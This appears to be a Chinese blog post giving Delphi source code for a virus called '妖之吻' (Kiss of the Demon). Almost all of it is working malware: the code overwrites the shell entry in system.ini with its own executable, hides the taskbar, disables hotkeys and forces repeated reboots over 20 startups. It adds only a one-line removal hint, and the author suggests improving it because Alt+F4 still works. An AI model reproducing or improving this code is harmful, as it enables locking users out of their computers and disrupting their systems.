“妖之吻”源代碼(病毒源代碼)

遠程關機***“妖之吻”應該聽說過吧, 下面是部分源代碼:
(清除方法:system.ini文件的shell值改爲explorer.exe)
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes,inifiles, Graphics, Controls, Forms, Dialogs
,
StdCtrls, ExtCtrls, Buttons;
type
TForm1 = class(TForm)
Timer1: TTimer;
Label1: TLabel;
Timer2: TTimer;
Label2: TLabel;
SpeedButton1: TSpeedButton;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Timer2Timer(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
var
sysini:tinifile;//定一個ini,準備動手術
j,i:integer;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
exitwindowsex(ewx_reboot,0);//倒數時間到,關機羅!
end;
procedure TForm1.FormCreate(Sender: TObject);
var
hregion,wndHandle : THandle;
wndClass : array[0..50] of Char;
k:string;
begin
hregion:=createellipticrgn(14,200,350,14);//想畫個不規則窗體
setwindowrgn(handle,hregion,true);
StrPCopy(@wndClass[0], 'Shell_TrayWnd');
wndHandle := FindWindow(@wndClass[0], nil);
ShowWindow(wndHandle, SW_HIDE);
i:=60;
SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
systemparametersinfo(97,1,nil,0);//屏蔽熱鍵
timer1.Enabled:=false;
sysini:=Tinifile.Create('system.ini');
k:=sysini.ReadString('boot','shell',k);//這裏準備做成啓動20次恢復,
if (k='explorer') or (k='explorer.exe') then
begin
sysini.WriteInteger('mci','mcicount',20);
sysini.WriteString('boot','shell',application.ExeName);//這裏用自己替換掉了shell
end
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
systemparametersinfo(97,0,nil,0);//取消屏蔽
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
i:=i-1;
label2.Caption:=inttostr(i);
if i=1 then
begin
timer2.Enabled:=false;
timer1.Enabled:=true;
j:=sysini.ReadInteger('mci','mcicount',j);
j:=j-1;
if j=1 then
begin
sysini.WriteString('boot','shell','explorer.exe');//當啓動滿了20次,恢復shell
end;
end;
end;
procedure TForm1.SpeedButton1Click(Sender: TObject);//調試用的
begin
timer1.Enabled:=false;
timer2.Enabled:=false;
application.Terminate;
systemparametersinfo(97,1,nil,0);
end;
end.
還存在個問題,這個程序裏面的代碼沒有屏蔽掉Alt+F4,可以更換成別的辦法。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章